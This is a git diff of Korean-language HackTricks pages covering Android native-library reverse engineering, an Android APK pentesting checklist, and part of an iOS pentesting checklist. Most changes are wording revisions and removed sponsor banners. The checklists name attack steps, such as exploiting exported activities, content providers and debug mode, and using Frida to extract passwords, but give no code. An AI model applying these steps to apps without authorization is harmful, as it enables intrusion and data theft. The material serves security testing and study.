* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -10,28 +10,15 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**자세한 정보는 다음을 확인하세요:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
**자세한 정보는 다음을 확인하세요:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||||
|
|
||||||
안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 맬웨어 제작자도 이러한 라이브러리를 사용하며, 이는 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵습니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다.
|
안드로이드 앱은 성능이 중요한 작업을 위해 일반적으로 C 또는 C++로 작성된 네이티브 라이브러리를 사용할 수 있습니다. 악성코드 제작자들도 이러한 라이브러리를 사용합니다. 왜냐하면 DEX 바이트코드보다 리버스 엔지니어링이 더 어렵기 때문입니다. 이 섹션은 어셈블리 언어를 가르치는 대신 안드로이드에 맞춘 리버스 엔지니어링 기술을 강조합니다. 호환성을 위해 ARM 및 x86 버전의 라이브러리가 제공됩니다.
|
||||||
|
|
||||||
### 주요 사항:
|
### 주요 사항:
|
||||||
|
|
||||||
|
@ -39,24 +26,24 @@ WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취
|
||||||
* 성능 집약적인 작업에 사용됩니다.
|
* 성능 집약적인 작업에 사용됩니다.
|
||||||
* C 또는 C++로 작성되어 리버스 엔지니어링이 어렵습니다.
|
* C 또는 C++로 작성되어 리버스 엔지니어링이 어렵습니다.
|
||||||
* 리눅스 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다.
|
* 리눅스 바이너리와 유사한 `.so` (공유 객체) 형식으로 발견됩니다.
|
||||||
* 맬웨어 제작자는 분석을 어렵게 만들기 위해 네이티브 코드를 선호합니다.
|
* 악성코드 제작자는 분석을 어렵게 만들기 위해 네이티브 코드를 선호합니다.
|
||||||
* **Java 네이티브 인터페이스 (JNI) 및 안드로이드 NDK:**
|
* **Java 네이티브 인터페이스 (JNI) 및 안드로이드 NDK:**
|
||||||
* JNI는 Java 메서드를 네이티브 코드로 구현할 수 있게 합니다.
|
* JNI는 Java 메서드를 네이티브 코드로 구현할 수 있게 합니다.
|
||||||
* NDK는 네이티브 코드를 작성하기 위한 안드로이드 전용 도구 세트입니다.
|
* NDK는 네이티브 코드를 작성하기 위한 안드로이드 전용 도구 세트입니다.
|
||||||
* JNI와 NDK는 Java (또는 Kotlin) 코드와 네이티브 라이브러리를 연결합니다.
|
* JNI와 NDK는 Java (또는 Kotlin) 코드를 네이티브 라이브러리와 연결합니다.
|
||||||
* **라이브러리 로딩 및 실행:**
|
* **라이브러리 로딩 및 실행:**
|
||||||
* 라이브러리는 `System.loadLibrary` 또는 `System.load`를 사용하여 메모리에 로드됩니다.
|
* 라이브러리는 `System.loadLibrary` 또는 `System.load`를 사용하여 메모리에 로드됩니다.
|
||||||
* 라이브러리 로딩 시 JNI\_OnLoad가 실행됩니다.
|
* 라이브러리 로딩 시 JNI\_OnLoad가 실행됩니다.
|
||||||
* Java에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다.
|
* Java에서 선언된 네이티브 메서드는 네이티브 함수에 연결되어 실행을 가능하게 합니다.
|
||||||
* **Java 메서드를 네이티브 함수에 연결하기:**
|
* **Java 메서드를 네이티브 함수에 연결하기:**
|
||||||
* **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크를 허용합니다.
|
* **동적 링크:** 네이티브 라이브러리의 함수 이름이 특정 패턴과 일치하여 자동 링크가 가능합니다.
|
||||||
* **정적 링크:** `RegisterNatives`를 사용하여 링크하며, 함수 이름 및 구조에 유연성을 제공합니다.
|
* **정적 링크:** `RegisterNatives`를 사용하여 링크하며, 함수 이름 및 구조에 유연성을 제공합니다.
|
||||||
* **리버스 엔지니어링 도구 및 기술:**
|
* **리버스 엔지니어링 도구 및 기술:**
|
||||||
* Ghidra 및 IDA Pro와 같은 도구가 네이티브 라이브러리 분석에 도움을 줍니다.
|
* Ghidra 및 IDA Pro와 같은 도구가 네이티브 라이브러리 분석에 도움을 줍니다.
|
||||||
* `JNIEnv`는 JNI 함수 및 상호작용을 이해하는 데 중요합니다.
|
* `JNIEnv`는 JNI 함수 및 상호작용을 이해하는 데 중요합니다.
|
||||||
* 라이브러리 로딩, 메서드 링크 및 네이티브 함수 식별 연습이 제공됩니다.
|
* 라이브러리 로딩, 메서드 링크 및 네이티브 함수 식별을 연습할 수 있는 연습문제가 제공됩니다.
|
||||||
|
|
||||||
### 리소스:
|
### 자료:
|
||||||
|
|
||||||
* **ARM 어셈블리 배우기:**
|
* **ARM 어셈블리 배우기:**
|
||||||
* 기본 아키텍처에 대한 깊은 이해를 위해 권장됩니다.
|
* 기본 아키텍처에 대한 깊은 이해를 위해 권장됩니다.
|
||||||
|
@ -68,17 +55,6 @@ WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취
|
||||||
* **네이티브 라이브러리 디버깅:**
|
* **네이티브 라이브러리 디버깅:**
|
||||||
* [JEB 디컴파일러를 사용하여 안드로이드 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
* [JEB 디컴파일러를 사용하여 안드로이드 네이티브 라이브러리 디버깅하기](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -90,7 +66,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,29 +1,21 @@
|
||||||
# Android APK Checklist
|
# Android APK Checklist
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
### [안드로이드 기초 배우기](android-app-pentesting/#2-android-application-fundamentals)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
|
|
||||||
|
|
||||||
* [ ] [기초](android-app-pentesting/#fundamentals-review)
|
* [ ] [기초](android-app-pentesting/#fundamentals-review)
|
||||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||||
|
@ -41,9 +33,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
### [정적 분석](android-app-pentesting/#static-analysis)
|
### [정적 분석](android-app-pentesting/#static-analysis)
|
||||||
|
|
||||||
* [ ] [난독화](android-checklist.md#some-obfuscation-deobfuscation-information) 사용 여부 확인, 모바일이 루팅되었는지, 에뮬레이터가 사용 중인지 및 변조 방지 확인. [자세한 정보는 여기에서 읽어보세요](android-app-pentesting/#other-checks).
|
* [ ] [난독화](android-checklist.md#some-obfuscation-deobfuscation-information) 사용 여부 확인, 모바일이 루팅되었는지, 에뮬레이터가 사용 중인지 및 변조 방지 확인. [자세한 정보는 여기에서 읽기](android-app-pentesting/#other-checks).
|
||||||
* [ ] 민감한 애플리케이션(예: 은행 앱)은 모바일이 루팅되었는지 확인하고 그에 따라 조치를 취해야 합니다.
|
* [ ] 민감한 애플리케이션(예: 은행 앱)은 모바일이 루팅되었는지 확인하고 그에 따라 조치를 취해야 합니다.
|
||||||
* [ ] [흥미로운 문자열](android-app-pentesting/#looking-for-interesting-info) 검색(비밀번호, URL, API, 암호화, 백도어, 토큰, Bluetooth UUID 등).
|
* [ ] [흥미로운 문자열](android-app-pentesting/#looking-for-interesting-info) 검색 (비밀번호, URL, API, 암호화, 백도어, 토큰, Bluetooth UUID 등).
|
||||||
* [ ] [파이어베이스](android-app-pentesting/#firebase) API에 특별한 주의.
|
* [ ] [파이어베이스](android-app-pentesting/#firebase) API에 특별한 주의.
|
||||||
* [ ] [매니페스트 읽기:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
* [ ] [매니페스트 읽기:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||||
* [ ] 애플리케이션이 디버그 모드인지 확인하고 "악용" 시도
|
* [ ] 애플리케이션이 디버그 모드인지 확인하고 "악용" 시도
|
||||||
|
@ -54,15 +46,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
* [ ] 브로드캐스트 수신기
|
* [ ] 브로드캐스트 수신기
|
||||||
* [ ] URL 스킴
|
* [ ] URL 스킴
|
||||||
* [ ] 애플리케이션이 [내부 또는 외부에 데이터를 안전하지 않게 저장하고 있는지](android-app-pentesting/#insecure-data-storage)?
|
* [ ] 애플리케이션이 [내부 또는 외부에 데이터를 안전하지 않게 저장하고 있는지](android-app-pentesting/#insecure-data-storage)?
|
||||||
* [ ] [하드코딩된 비밀번호가 있거나 디스크에 저장되어 있는지](android-app-pentesting/#poorkeymanagementprocesses)? 앱이 [안전하지 않은 암호화 알고리즘을 사용하고 있는지](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
* [ ] [하드코딩된 비밀번호 또는 디스크에 저장된 비밀번호가 있는지](android-app-pentesting/#poorkeymanagementprocesses)? 애플리케이션이 [안전하지 않은 암호화 알고리즘을 사용하고 있는지](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||||
* [ ] 모든 라이브러리가 PIE 플래그를 사용하여 컴파일되었는가?
|
* [ ] 모든 라이브러리가 PIE 플래그를 사용하여 컴파일되었는가?
|
||||||
* [ ] 이 단계에서 많은 도움이 될 수 있는 [정적 Android 분석기](android-app-pentesting/#automatic-analysis)가 있다는 것을 잊지 마세요.
|
* [ ] 이 단계에서 많은 도움이 될 수 있는 [정적 Android 분석기](android-app-pentesting/#automatic-analysis)가 있다는 것을 잊지 마세요.
|
||||||
|
|
||||||
### [동적 분석](android-app-pentesting/#dynamic-analysis)
|
### [동적 분석](android-app-pentesting/#dynamic-analysis)
|
||||||
|
|
||||||
* [ ] 환경 준비 ([온라인](android-app-pentesting/#online-dynamic-analysis), [로컬 VM 또는 물리적](android-app-pentesting/#local-dynamic-analysis))
|
* [ ] 환경 준비하기 ([온라인](android-app-pentesting/#online-dynamic-analysis), [로컬 VM 또는 물리적](android-app-pentesting/#local-dynamic-analysis))
|
||||||
* [ ] [의도치 않은 데이터 유출](android-app-pentesting/#unintended-data-leakage) (로그, 복사/붙여넣기, 크래시 로그) 여부 확인?
|
* [ ] [의도치 않은 데이터 유출](android-app-pentesting/#unintended-data-leakage) (로깅, 복사/붙여넣기, 크래시 로그) 여부 확인?
|
||||||
* [ ] [SQLite DB에 기밀 정보가 저장되고 있는지](android-app-pentesting/#sqlite-dbs)?
|
* [ ] [SQLite DB에 저장된 기밀 정보](android-app-pentesting/#sqlite-dbs)?
|
||||||
* [ ] [악용 가능한 노출된 액티비티](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
* [ ] [악용 가능한 노출된 액티비티](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||||
* [ ] [악용 가능한 콘텐츠 제공자](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
* [ ] [악용 가능한 콘텐츠 제공자](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||||
* [ ] [악용 가능한 노출된 서비스](android-app-pentesting/#exploiting-services)?
|
* [ ] [악용 가능한 노출된 서비스](android-app-pentesting/#exploiting-services)?
|
||||||
|
@ -70,31 +62,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
* [ ] 애플리케이션이 [정보를 평문으로 전송하거나 약한 알고리즘을 사용하고 있는지](android-app-pentesting/#insufficient-transport-layer-protection)? MitM가 가능한가?
|
* [ ] 애플리케이션이 [정보를 평문으로 전송하거나 약한 알고리즘을 사용하고 있는지](android-app-pentesting/#insufficient-transport-layer-protection)? MitM가 가능한가?
|
||||||
* [ ] [HTTP/HTTPS 트래픽 검사](android-app-pentesting/#inspecting-http-traffic)
|
* [ ] [HTTP/HTTPS 트래픽 검사](android-app-pentesting/#inspecting-http-traffic)
|
||||||
* [ ] 이 부분은 정말 중요합니다. HTTP 트래픽을 캡처할 수 있다면 일반적인 웹 취약점을 검색할 수 있습니다 (Hacktricks에는 웹 취약점에 대한 많은 정보가 있습니다).
|
* [ ] 이 부분은 정말 중요합니다. HTTP 트래픽을 캡처할 수 있다면 일반적인 웹 취약점을 검색할 수 있습니다 (Hacktricks에는 웹 취약점에 대한 많은 정보가 있습니다).
|
||||||
* [ ] 가능한 [Android 클라이언트 측 주입](android-app-pentesting/#android-client-side-injections-and-others) 확인 (아마도 일부 정적 코드 분석이 도움이 될 것입니다)
|
* [ ] 가능한 [안드로이드 클라이언트 측 주입](android-app-pentesting/#android-client-side-injections-and-others) 확인 (아마도 일부 정적 코드 분석이 도움이 될 것입니다)
|
||||||
* [ ] [Frida](android-app-pentesting/#frida): Frida만 사용하여 애플리케이션에서 흥미로운 동적 데이터를 얻습니다 (아마도 비밀번호 등...)
|
* [ ] [Frida](android-app-pentesting/#frida): Frida만 사용하여 애플리케이션에서 흥미로운 동적 데이터를 얻으세요 (아마도 비밀번호...)
|
||||||
|
|
||||||
### 일부 난독화/디난독화 정보
|
### 일부 난독화/디난독화 정보
|
||||||
|
|
||||||
* [ ] [여기에서 읽어보세요](android-app-pentesting/#obfuscating-deobfuscating-code)
|
* [ ] [여기에서 읽기](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
\
|
\
|
||||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||||
오늘 바로 접근하세요:
|
지금 액세스하세요:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -17,25 +17,17 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### 준비
|
### 준비
|
||||||
|
|
||||||
* [ ] [**iOS 기초**](ios-pentesting/ios-basics.md) 읽기
|
* [ ] [**iOS 기초**](ios-pentesting/ios-basics.md) 읽기
|
||||||
* [ ] [**iOS 테스트 환경**](ios-pentesting/ios-testing-environment.md) 읽어 환경 준비하기
|
* [ ] [**iOS 테스트 환경**](ios-pentesting/ios-testing-environment.md) 읽어 환경 준비하기
|
||||||
* [ ] [**iOS 초기 분석**](ios-pentesting/#initial-analysis)의 모든 섹션을 읽어 iOS 애플리케이션을 펜테스트하는 일반적인 작업을 배우기
|
* [ ] [**iOS 초기 분석**](ios-pentesting/#initial-analysis)의 모든 섹션을 읽어 iOS 애플리케이션을 펜테스트하는 일반적인 작업 배우기
|
||||||
|
|
||||||
### 데이터 저장
|
### 데이터 저장
|
||||||
|
|
||||||
|
@ -49,7 +41,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] [**캐시 데이터**](ios-pentesting/#cache)는 민감한 정보를 저장할 수 있습니다.
|
* [ ] [**캐시 데이터**](ios-pentesting/#cache)는 민감한 정보를 저장할 수 있습니다.
|
||||||
* [ ] [**자동 스냅샷**](ios-pentesting/#snapshots)은 시각적 민감한 정보를 저장할 수 있습니다.
|
* [ ] [**자동 스냅샷**](ios-pentesting/#snapshots)은 시각적 민감한 정보를 저장할 수 있습니다.
|
||||||
* [ ] [**키체인**](ios-pentesting/#keychain)은 일반적으로 전화기를 재판매할 때 남길 수 있는 민감한 정보를 저장하는 데 사용됩니다.
|
* [ ] [**키체인**](ios-pentesting/#keychain)은 일반적으로 전화기를 재판매할 때 남길 수 있는 민감한 정보를 저장하는 데 사용됩니다.
|
||||||
* [ ] 요약하자면, **파일 시스템에 애플리케이션이 저장한 민감한 정보를 확인하세요.**
|
* [ ] 요약하자면, 애플리케이션이 파일 시스템에 저장한 민감한 정보를 **확인하세요.**
|
||||||
|
|
||||||
### 키보드
|
### 키보드
|
||||||
|
|
||||||
|
@ -63,7 +55,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
### 백업
|
### 백업
|
||||||
|
|
||||||
* [ ] [**백업**](ios-pentesting/#backups)은 파일 시스템에 저장된 **민감한 정보에 접근하는 데 사용될 수 있습니다** (이 체크리스트의 초기 포인트 확인).
|
